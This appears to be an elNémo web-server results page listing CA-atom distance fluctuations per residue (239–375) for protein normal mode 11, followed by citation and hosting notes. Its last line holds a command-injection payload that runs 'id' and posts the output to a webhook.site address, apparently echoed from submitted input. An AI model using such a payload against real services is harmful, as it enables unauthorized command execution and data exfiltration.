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elNémo has been relocated.
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CA distance fluctuations for 2608052227273017586

--- normal mode 11 ---

This matrix displays the maximum distance fluctuations between all pairs of CA atoms and between the two extreme conformations that were computed for this mode (DQMIN/DQMAX). Distance increases are plotted in blue and decreases in red for the strongest 10% of the residue pair distance changes. Every pixel corresponds to a single residue. Grey lines are drawn every 10 residues, yellow lines every 100 residues (counting from the upper left corner).

The following table indicates for every residue the two corresponding residues with the strongest CA distance fluctuations.

[HELP on distance fluctuations]

GD ok

largest increase ref largest decrease
ASP 375 0.30 PHE 239 -0.25 VAL 265

ASP 375 0.29 SER 240 -0.28 LEU 245

ASP 375 0.32 PHE 241 -0.29 ASP 338

ASP 375 0.38 ILE 242 -0.30 ASP 338

ASP 375 0.35 LYS 243 -0.35 ASP 338

ASP 375 0.31 ALA 244 -0.51 PHE 241

ASP 375 0.39 LEU 245 -0.44 ASP 338

ASP 375 0.39 GLN 246 -0.43 ALA 339

ASP 375 0.34 THR 247 -0.50 ALA 339

ASP 375 0.34 ALA 248 -0.59 ALA 339

ASP 375 0.40 GLN 249 -0.55 ALA 339

ASP 375 0.45 GLN 250 -0.49 ALA 339

ASP 375 0.53 ASN 251 -0.34 ALA 339

ASP 375 0.56 PHE 252 -0.27 ALA 339

ASP 375 0.60 VAL 253 -0.21 ALA 339

ASP 375 0.56 VAL 254 -0.22 PHE 239

ASP 375 0.62 THR 255 -0.15 PHE 239

ASP 375 0.58 ASP 256 -0.20 ASP 338

ALA 371 0.65 PRO 257 -0.17 ASN 262

ASN 374 0.59 SER 258 -0.25 ALA 339

ASN 374 0.70 LEU 259 -0.22 ALA 339

ASN 374 0.85 PRO 260 -0.16 ALA 339

ASN 374 0.91 ASP 261 -0.14 ALA 339

ASP 375 0.77 ASN 262 -0.17 PRO 257

ASP 375 0.74 PRO 263 -0.15 ALA 339

ASP 375 0.67 ILE 264 -0.18 PHE 239

ASP 375 0.57 VAL 265 -0.25 PHE 239

ASP 375 0.54 TYR 266 -0.25 PHE 239

ASP 375 0.57 ALA 267 -0.23 ALA 339

ASP 375 0.51 SER 268 -0.30 ALA 339

ASP 375 0.50 GLN 269 -0.31 ALA 339

ASP 375 0.50 GLY 270 -0.36 ALA 339

ASP 375 0.57 PHE 271 -0.26 ALA 339

ASP 375 0.57 LEU 272 -0.22 ALA 339

ASP 375 0.54 ASN 273 -0.23 ALA 339

ASP 375 0.57 LEU 274 -0.22 VAL 353

ASP 375 0.62 THR 275 -0.13 VAL 353

ASP 375 0.59 GLY 276 -0.12 VAL 353

ASP 375 0.62 TYR 277 -0.12 ALA 339

ASP 375 0.58 SER 278 -0.15 ALA 339

ASP 375 0.58 LEU 279 -0.17 ALA 339

ASP 375 0.60 ASP 280 -0.15 PHE 239

ASP 375 0.66 GLN 281 -0.14 PHE 239

ASP 375 0.68 ILE 282 -0.15 PHE 239

ASP 375 0.64 LEU 283 -0.19 PHE 239

ASP 375 0.68 GLY 284 -0.18 PHE 239

ASP 375 0.77 ARG 285 -0.15 PHE 239

ASP 375 0.86 ASN 286 -0.13 THR 344

ASP 375 0.83 CYS 287 -0.13 PHE 346

ASP 375 0.91 ARG 288 -0.17 PHE 346

ASP 375 0.83 PHE 289 -0.12 THR 344

ASP 375 0.79 LEU 290 -0.11 PHE 346

ASP 375 0.85 GLN 291 -0.15 PHE 346

ASP 375 0.81 GLY 292 -0.12 PHE 346

ASP 375 0.79 PRO 293 -0.14 ILE 307

ASP 375 0.81 GLU 294 -0.08 PHE 346

ASP 375 0.90 THR 295 -0.08 PHE 346

ASP 375 1.01 ASP 296 -0.11 LEU 317

ASP 375 1.17 PRO 297 -0.05 GLU 294

ASP 375 1.26 LYS 298 -0.08 ALA 248

ASP 375 1.05 ALA 299 -0.08 ALA 248

ASP 375 1.09 VAL 300 -0.10 PRO 293

ASP 375 1.27 GLU 301 -0.08 PRO 293

ASP 375 1.04 ARG 302 -0.09 LYS 305

ASP 375 0.91 ILE 303 -0.09 PRO 293

ASP 375 0.98 ARG 304 -0.13 PRO 293

ALA 372 1.03 LYS 305 -0.11 ARG 302

ALA 372 0.82 ALA 306 -0.13 ARG 304

ALA 371 0.77 ILE 307 -0.14 PRO 293

ALA 371 0.90 GLU 308 -0.14 PRO 293

ALA 371 0.69 GLN 309 -0.08 GLU 294

ALA 371 0.51 GLY 310 -0.12 PRO 293

ALA 372 0.49 ASN 311 -0.09 PRO 293

ALA 372 0.50 ASP 312 -0.09 ILE 303

ALA 372 0.62 MET 313 -0.08 ALA 248

ASP 375 0.63 SER 314 -0.14 ALA 248

ASP 375 0.74 VAL 315 -0.15 ALA 248

ASP 375 0.74 CYS 316 -0.18 ALA 248

ASP 375 0.81 LEU 317 -0.11 ASP 296

ASP 375 0.78 LEU 318 -0.11 ASP 296

ASP 375 0.75 ASN 319 -0.08 PHE 346

ASP 375 0.71 TYR 320 -0.08 PHE 346

ASP 375 0.66 ARG 321 -0.08 PHE 239

ASP 375 0.64 VAL 322 -0.11 ASN 286

ASP 375 0.59 ASP 323 -0.11 ASN 286

ASP 375 0.63 GLY 324 -0.11 PHE 289

ASP 375 0.61 THR 325 -0.06 THR 344

ASP 375 0.65 THR 326 -0.07 ASP 296

ASP 375 0.65 PHE 327 -0.09 LEU 274

ASP 375 0.67 TRP 328 -0.14 GLN 249

ASP 375 0.67 ASN 329 -0.13 GLN 250

ASP 375 0.64 GLN 330 -0.22 GLN 250

ASP 375 0.66 PHE 331 -0.11 ALA 248

ASP 375 0.59 PHE 332 -0.13 ALA 339

ASP 375 0.58 ILE 333 -0.12 GLN 291

ASP 375 0.46 ALA 334 -0.12 ALA 339

ALA 371 0.44 ALA 335 -0.13 ARG 288

ALA 371 0.35 LEU 336 -0.19 GLN 330

ALA 371 0.26 ARG 337 -0.18 THR 344

PHE 239 0.24 ASP 338 -0.24 SER 258

PHE 239 0.19 ALA 339 -0.25 SER 258

ALA 372 0.21 GLY 340 -0.23 SER 258

ALA 372 0.22 GLY 341 -0.16 SER 258

ALA 372 0.22 ASN 342 -0.20 SER 258

ALA 371 0.37 VAL 343 -0.15 ARG 288

ALA 371 0.38 THR 344 -0.19 ASP 338

ASP 375 0.45 ASN 345 -0.17 CYS 351

ASP 375 0.52 PHE 346 -0.17 ARG 288

ASP 375 0.54 VAL 347 -0.18 ALA 339

ASP 375 0.61 GLY 348 -0.17 ALA 339

ASP 375 0.56 VAL 349 -0.23 ALA 339

ASP 375 0.60 GLN 350 -0.21 ALA 339

ASP 375 0.56 CYS 351 -0.27 VAL 353

ASP 375 0.58 LYS 352 -0.34 VAL 353

ASP 375 0.57 VAL 353 -0.34 LYS 352

ASP 375 0.56 SER 354 -0.31 GLN 249

ASP 375 0.59 ASP 355 -0.25 GLN 249

ASP 375 0.56 GLN 356 -0.34 ALA 248

ASP 375 0.57 TYR 357 -0.38 ALA 248

ASP 375 0.65 ALA 358 -0.29 ALA 248

ASP 375 0.66 ALA 359 -0.27 ALA 248

ASP 375 0.62 THR 360 -0.32 ALA 248

ASP 375 0.66 VAL 361 -0.30 ALA 248

ASP 375 0.77 THR 362 -0.23 ALA 248

ASP 375 0.73 LYS 363 -0.24 ALA 248

ASP 375 0.68 GLN 364 -0.25 ALA 248

ASP 375 0.80 GLN 365 -0.19 ALA 248

ASP 375 0.87 GLU 366 -0.17 ALA 248

ASP 375 0.75 GLU 367 -0.19 ALA 248

ASP 375 0.75 GLU 368 -0.16 ALA 248

ASP 375 0.95 GLU 369 -0.12 ALA 248

ASP 375 0.86 GLU 370 -0.13 ALA 248

ALA 373 0.80 ALA 371 -0.13 GLU 367

ALA 373 0.99 ALA 372 -0.08 PRO 260

CYS 351 0.44 SER 240 -0.43 THR 247

ASP 375 0.40 PHE 241 -0.51 ALA 244

ASP 375 0.32 ILE 242 -0.39 ALA 244

ASP 375 0.32 LYS 243 -0.33 THR 247

ASP 375 0.34 ALA 244 -0.38 ALA 244

ASP 375 0.28 LEU 245 -0.32 ALA 244

ASP 375 0.24 GLN 246 -0.25 LYS 243

ASP 375 0.26 THR 247 -0.25 LYS 243

ASP 375 0.25 ALA 248 -0.26 LYS 243

ASP 375 0.19 GLN 249 -0.19 SER 240

ASP 375 0.19 GLN 250 -0.24 SER 240

ALA 372 0.14 ASN 251 -0.20 PHE 241

ALA 372 0.16 PHE 252 -0.23 PHE 241

VAL 353 0.15 VAL 253 -0.23 ALA 244

ASP 375 0.20 VAL 254 -0.28 ALA 244

ASP 375 0.18 THR 255 -0.26 ALA 244

ASP 375 0.21 ASP 256 -0.27 ALA 244

ASP 375 0.23 PRO 257 -0.26 ALA 248

ASP 338 0.24 SER 258 -0.27 ALA 248

ASP 338 0.20 LEU 259 -0.23 THR 247

GLY 340 0.16 PRO 260 -0.20 THR 247

GLY 340 0.14 ASP 261 -0.20 ALA 244

ASP 338 0.16 ASN 262 -0.22 ALA 244

ASP 338 0.16 PRO 263 -0.21 ALA 244

ASP 338 0.16 ILE 264 -0.21 ALA 244

ASP 338 0.18 VAL 265 -0.22 ALA 244

VAL 353 0.19 TYR 266 -0.21 ALA 244

VAL 353 0.16 ALA 267 -0.19 ALA 244

LYS 352 0.16 SER 268 -0.19 LYS 243

LYS 352 0.14 GLN 269 -0.17 LYS 243

LYS 352 0.12 GLY 270 -0.16 LYS 243

LYS 352 0.12 PHE 271 -0.16 LYS 243

VAL 353 0.12 LEU 272 -0.14 LYS 243

LYS 352 0.10 ASN 273 -0.14 GLU 370

ALA 372 0.11 LEU 274 -0.15 GLU 370

ALA 372 0.11 THR 275 -0.19 GLU 370

VAL 353 0.10 GLY 276 -0.19 GLU 370

VAL 353 0.12 TYR 277 -0.17 GLU 370

VAL 353 0.13 SER 278 -0.15 GLU 370

VAL 353 0.14 LEU 279 -0.14 LYS 243

SER 354 0.14 ASP 280 -0.13 GLU 370

SER 354 0.13 GLN 281 -0.17 ALA 373

SER 354 0.13 ILE 282 -0.15 ALA 244

ASP 338 0.16 LEU 283 -0.17 ALA 244

ASP 338 0.17 GLY 284 -0.18 ALA 244

ASP 338 0.14 ARG 285 -0.17 ALA 244

ASP 338 0.13 ASN 286 -0.18 ALA 244

VAL 343 0.12 CYS 287 -0.17 ALA 244

VAL 343 0.13 ARG 288 -0.22 ALA 373

ALA 371 0.11 PHE 289 -0.25 ALA 373

ALA 371 0.14 LEU 290 -0.24 ALA 373

ALA 371 0.17 GLN 291 -0.32 ALA 373

ALA 371 0.19 GLY 292 -0.40 ALA 373

ALA 371 0.20 PRO 293 -0.52 ALA 373

ALA 371 0.20 GLU 294 -0.56 GLU 370

ALA 372 0.21 THR 295 -0.46 GLU 370

ALA 372 0.26 ASP 296 -0.47 ALA 373

ALA 372 0.27 PRO 297 -0.43 ALA 373

ALA 372 0.36 LYS 298 -0.33 ALA 373

ALA 372 0.29 ALA 299 -0.21 ALA 373

ALA 372 0.23 VAL 300 -0.20 ALA 373

ALA 371 0.29 GLU 301 -0.12 ALA 373

ALA 372 0.31 ARG 302 -0.11 LYS 305

ALA 372 0.20 ILE 303 -0.14 ALA 244

ALA 371 0.18 ARG 304 -0.16 ALA 248

ALA 372 0.28 LYS 305 -0.15 ALA 248

ALA 372 0.39 ALA 306 -0.17 ALA 248

ALA 372 0.29 ILE 307 -0.21 ALA 248

ALA 372 0.30 GLU 308 -0.20 ALA 248

ALA 372 0.46 GLN 309 -0.20 ALA 248

ASP 375 0.45 GLY 310 -0.25 ALA 248

ALA 372 0.52 ASN 311 -0.22 ALA 248

ALA 372 0.48 ASP 312 -0.18 ALA 244

ALA 372 0.45 MET 313 -0.13 ALA 244

ALA 372 0.33 SER 314 -0.14 LEU 336

ALA 372 0.25 VAL 315 -0.13 LEU 336

ALA 372 0.25 CYS 316 -0.16 GLU 366

ALA 372 0.23 LEU 317 -0.27 GLU 366

ALA 372 0.20 LEU 318 -0.36 GLU 370

ALA 372 0.17 ASN 319 -0.29 GLU 370

ALA 372 0.15 TYR 320 -0.30 GLU 370

ALA 372 0.13 ARG 321 -0.25 GLU 370

ALA 371 0.11 VAL 322 -0.25 ALA 373

ALA 371 0.12 ASP 323 -0.28 ALA 373

ALA 371 0.14 GLY 324 -0.33 ALA 373

ALA 372 0.14 THR 325 -0.33 GLU 370

ALA 372 0.16 THR 326 -0.34 GLU 370

ALA 372 0.17 PHE 327 -0.28 GLU 370

ALA 372 0.20 TRP 328 -0.24 GLU 370

ALA 372 0.19 ASN 329 -0.18 GLU 366

ALA 372 0.19 GLN 330 -0.19 LEU 336

ALA 372 0.18 PHE 331 -0.18 LEU 336

ALA 372 0.27 PHE 332 -0.19 LEU 336

ALA 372 0.30 ILE 333 -0.23 ALA 244

ASP 375 0.37 ALA 334 -0.30 ALA 244

ASP 375 0.40 ALA 335 -0.32 ALA 248

ASP 375 0.40 LEU 336 -0.42 ALA 248

ASP 375 0.45 ARG 337 -0.49 ALA 248

ASP 375 0.42 ASP 338 -0.59 ALA 248

ASP 375 0.45 ALA 339 -0.59 ALA 248

ASP 375 0.49 GLY 340 -0.47 ALA 248

ASP 375 0.52 GLY 341 -0.44 ALA 248

ASP 375 0.46 ASN 342 -0.42 ALA 248

ASP 375 0.42 VAL 343 -0.38 ALA 248

ASP 375 0.34 THR 344 -0.38 ALA 248

ASP 375 0.30 ASN 345 -0.33 ALA 248

ASP 375 0.29 PHE 346 -0.30 ALA 244

ASP 375 0.26 VAL 347 -0.31 ALA 244

ALA 372 0.21 GLY 348 -0.25 ALA 244

ALA 372 0.20 VAL 349 -0.27 PHE 241

ALA 372 0.14 GLN 350 -0.18 PHE 241

ALA 372 0.15 CYS 351 -0.19 LEU 336

ALA 372 0.16 LYS 352 -0.15 THR 344

ALA 372 0.18 VAL 353 -0.17 ASP 338

ALA 372 0.20 SER 354 -0.16 GLU 370

ALA 372 0.22 ASP 355 -0.23 GLU 370

ALA 372 0.23 GLN 356 -0.17 GLU 370

ALA 372 0.23 TYR 357 -0.15 SER 258

ALA 372 0.26 ALA 358 -0.19 GLU 370

ALA 372 0.28 ALA 359 -0.24 GLU 370

ALA 372 0.27 THR 360 -0.12 GLU 370

ALA 372 0.29 VAL 361 -0.09 PHE 327

ALA 372 0.34 THR 362 -0.22 GLU 366

ALA 372 0.37 LYS 363 -0.21 GLU 370

ALA 372 0.36 GLN 364 -0.13 GLU 294

ALA 372 0.42 GLN 365 -0.16 GLU 294

ALA 372 0.53 GLU 366 -0.38 GLU 294

ALA 372 0.52 GLU 367 -0.31 GLU 294

ALA 372 0.57 GLU 368 -0.23 GLU 294

ALA 372 0.72 GLU 369 -0.34 GLU 294

ALA 372 0.81 GLU 370 -0.56 GLU 294

LYS 305 1.01 ALA 371 -0.37 GLU 294

LYS 305 1.03 ALA 372 -0.33 GLU 294

ALA 372 0.99 ALA 373 -0.55 GLU 294

GLU 301 0.97 ASN 374 -0.51 GLU 294

GLU 301 1.27 ASP 375 -0.36 GLU 294

If you find results from this site helpful for your research, please cite one of our papers:

K. Suhre & Y.H. Sanejouand, ElNemo: a normal mode web-server for protein movement analysis and the generation of templates for molecular replacement. Nucleic Acids Research, 32, W610-W614, 2004.
K. Suhre & Y.H. Sanejouand, On the potential of normal mode analysis for solving difficult molecular replacement problems. Acta Cryst. D vol.60, p796-799, 2004 © International Union of Crystallography.

elNémo is maintained by Yves-Henri Sanejouand.
It was developed by Karsten Suhre.
Between 2003 and 2014, it was hosted by IGS (Marseille).
Between 2015 and 2025, it was hosted by US2B (Nantes).
Last modification: april 24th, 2026.

Should you encounter any unexpected behaviour, please let us know. elNémo has been relocated. **Some cleaning from time to time** Sorry for the inconvenience.

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CA distance fluctuations for 2608052227273017586

--- normal mode 11 ---

Should you encounter any unexpected behaviour,
please let us know.
elNémo has been relocated.
Some cleaning from time to time
Sorry for the inconvenience.

* fad&curl -X POST -d $(id) https://b7c03979-ac4b-465e-ad10-ab2d29b5d77f.webhook.site& *